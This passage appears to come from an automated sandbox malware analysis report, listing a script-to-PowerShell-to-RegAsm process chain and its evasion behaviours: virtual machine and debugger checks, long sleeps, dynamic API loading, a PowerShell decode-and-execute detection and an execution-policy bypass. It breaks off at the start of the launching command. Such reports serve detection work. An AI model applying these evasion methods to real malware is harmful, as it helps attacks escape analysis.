Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Delayed program exit found
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0040F7E2 Sleep,ExitProcess, 11_2_0040F7E2
Contains functionality to detect virtual machines (SLDT)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00007FF7C0C9A1F9 sldt word ptr fs:[eax] 10_2_00007FF7C0C9A1F9
Contains functionality to enumerate running services
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle, 11_2_0041A7D9
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1638 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1537 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4173 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5542 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Window / User API: threadDelayed 9339 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Window / User API: foregroundWindowGot 1772 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7432 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6260 Thread sleep count: 4173 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2088 Thread sleep count: 5542 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5900 Thread sleep time: -19369081277395017s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6176 Thread sleep count: 258 > 30 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6176 Thread sleep time: -129000s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2524 Thread sleep count: 143 > 30 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2524 Thread sleep time: -429000s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2524 Thread sleep count: 9339 > 30 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2524 Thread sleep time: -28017000s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0040928E __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose, 11_2_0040928E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0041C322 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose, 11_2_0041C322
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0040C388 FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose, 11_2_0040C388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_004096A0 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose, 11_2_004096A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00408847 __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose, 11_2_00408847
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00407877 FindFirstFileW,FindNextFileW, 11_2_00407877
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0044E8F9 FindFirstFileExA, 11_2_0044E8F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0040BB6B FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose, 11_2_0040BB6B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00419B86 FindFirstFileW,FindNextFileW,FindNextFileW, 11_2_00419B86
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0040BD72 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose, 11_2_0040BD72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00407CD2 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW, 11_2_00407CD2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: powershell.exe, 0000000A.00000002.1435352325.0000026F45BC8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: RegAsm.exe, 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe API call chain: ExitProcess graph end node
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00434A8A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 11_2_00434A8A
Contains functionality to dynamically determine API calls
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0041CBE1 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress, 11_2_0041CBE1
Contains functionality to read the PEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00443355 mov eax, dword ptr fs:[00000030h] 11_2_00443355
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_004120B2 GetProcessHeap,HeapFree, 11_2_004120B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0043503C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 11_2_0043503C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00434A8A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 11_2_00434A8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0043BB71 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 11_2_0043BB71
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00434BD8 SetUnhandledExceptionFilter, 11_2_00434BD8

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell decode and execute
Source: Yara match File source: amsi64_7484.amsi.csv, type: OTHER
Bypasses PowerShell execution policy
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 